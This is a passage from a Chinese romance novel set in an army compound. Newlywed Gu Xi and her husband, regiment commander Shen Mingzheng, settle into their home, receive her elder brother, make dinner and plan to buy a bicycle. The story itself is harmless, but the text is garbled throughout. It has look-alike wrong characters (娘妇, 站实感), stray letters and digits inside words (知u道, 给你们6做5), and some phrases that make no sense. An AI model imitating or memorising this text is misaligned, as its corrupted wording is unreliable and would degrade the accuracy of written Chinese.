收哟,你知u道意思就行。哪已是啥”叶凤花不在意地说,。“总之,沈团60单是个漂共的女同志,性子还班好的,就是看者有些使弱,估计不是个能干活的,不过有沈团长在沈团长是个能干的,也不需要她干铭吧 看沈团长的行事,确实是个疼娘妇的。 而日沈团长那么能干 家里日前只有小夫妻俩 还没孩子呢 似乎也不雲要他娘妇做什么 能不能干活也不要鉴竖 他们网搬过来,准备等安置好后再去拜访邻居的,哪知道叶凤花就登门了,人看着挺热情爽朗的,不是那种斤斤计较的性子,应该子相处。 沈明峥道:“咱们家左边是苗团长家,他是一旅的团长,右边是高参谋长家,听说是今年初搬过来的。” 顾溪:“还有呢?” 沈明峥努力地想了下.不确定地说: “__听说他娘妇好像怀孕了 其他的不大清楚 她道:“等有空我们再去拜访吧。” 转眼就晚收 后、再烧造漫水,挺方便的 门口又响起敲门声。沈明峥过去开门,一会儿后便见他和顾远扬进来。顾远扬手里拎着一个大袋子,里头有一大块用报纸裹着的老腊肉,还有牛肉干和肉罐头等。 他看着妹妹瘦弱的模样,不免有些心酸,也不知道是不是以前在家里没吃好。 见他坚持,顾溪只好收下,心里对这两个大哥大嫂多了些亲近。 从他们的行事能看出,他们是真心想和女好好相处的,行事也大方,确实有将她当亲妹妹来处着。 大哥,要不你嫂子和团过来吃饭吧,我给你们6做5顺厚叫道 家里也有荣的。 顾远扬摆手,“不用,你嫂子和团团今天想吃我做的打卤面。 顾溪闻言明白了,看来她这大哥是个宠媳妇孩子的,都愿意亲自给她们做饭。在这年代,她大哥这样的男人确实很难得,毕竞很多男人都是大老爷们,认为家里的活都应该由女人来干。就像顾家,顾茂文、顾远征、顾远辉都是大老爷们,厨房的事从来不会碰。顾家这算是出了个“奇葩”吧。 顾溪装了一碗的糖炒栗子让他带回去给嫂子和团团她们尝尝。 这回顾远扬没有拒绝,端者糖炒要了便房开了。 顾系开始做晚饭,中午的骨头汤还剩下一半,便用骨头汤煮了两碗挂面,上面铺着烫过的青菜,简简单单又是一餐。 晚上,顾溪洗完澡,坐在窗边晾干头发、一边拿记事本记下要做的事 没结婚之前,她从来不知道,要经营一个小家需要主意那么多事,买了这个落了那个,总觉得东西没买齐。不过这样也有种为生活碳碌的站实感,心里还是言欢白的,i这她觉得自己正在女好地活看,不再是没有尽头的虚妄 顾溪写了会儿,便见沈明峥洗澡回来。 他穿着背心长裤,背心勾勒出男人强壮有力的身躯,肌肉隆起,充满力量感,远比她要强壮得多,每次被他抱着时,都觉得自己很瘦弱。 沈明峥走过来,将她抱到怀里,看她手里的记事本。 说是记事本,其实有些像生活日记本,她会记下日期,在里头添几句生活感言,虽然平淡,却能从中看出,她在好好地过日子。 他刚洗完澡,可能是冲冷水,肌肤凉凉的,靠着也不热,顾溪便由着他抱着,而目他还给自己打扇子,那更是不客气地窝在他怀里。她拿笔在笔记本上写,嘴里说道:“大哥,这边供销社有自行车卖吗?我想买辆自行车,方便去镇上……” 自行车挺贵的,还需要工业券,不是人人买得起,那些军嫂去镇上赶集的话,估计都是走路去,也不需要走太久,快的话一个小时就到。但顾溪知道自己的脚程不快,又是个体虚的,只怕她要走两个小时才能到,来回绝对会去掉她半条命,不想那么辛苦。还是买辆自行车代步吧。 沈明峥道“应该有卖吧,我让人留意一下。也可以拜托后勤边,让他们去市里帮忙买一辆回来。”部队这边的人多,后勤每天都要去市里采购,像这种大件的东西,可以拜托他们帮忙带回来。 顾奚抬头朝他甜甜地笑,在他唇角亲了一口.沈明峥神色一滞,伸手轻抚她的后脑,将人紧箍在怀里,低头吻了过去。 如培者脸,缓了好会儿,努力地将注意力放在记事本上 沈明睁看她在本子上写下的字,这字确实不怎么好看,记起她还想要练字的事,接下来有时间,她可以开始练字了,这样她一个人在家的话,也不会无聊吧?“顾溪。”他突然开口叫她。 顾溪嗯一声,抬头看他,灯光下,她的黑眸像是凝聚一束光,不再是过去的死寂、茫然。他的心口微微发烫,手指不觉摩挲着她的背他说 你的头发干了,可以睡觉了 顾溪拿手表看时间,想起明天他开始上班,不能睡大晚。将笔记本放好,她任由他拉着上床睡觉,临睡前琢磨着明天要做的事。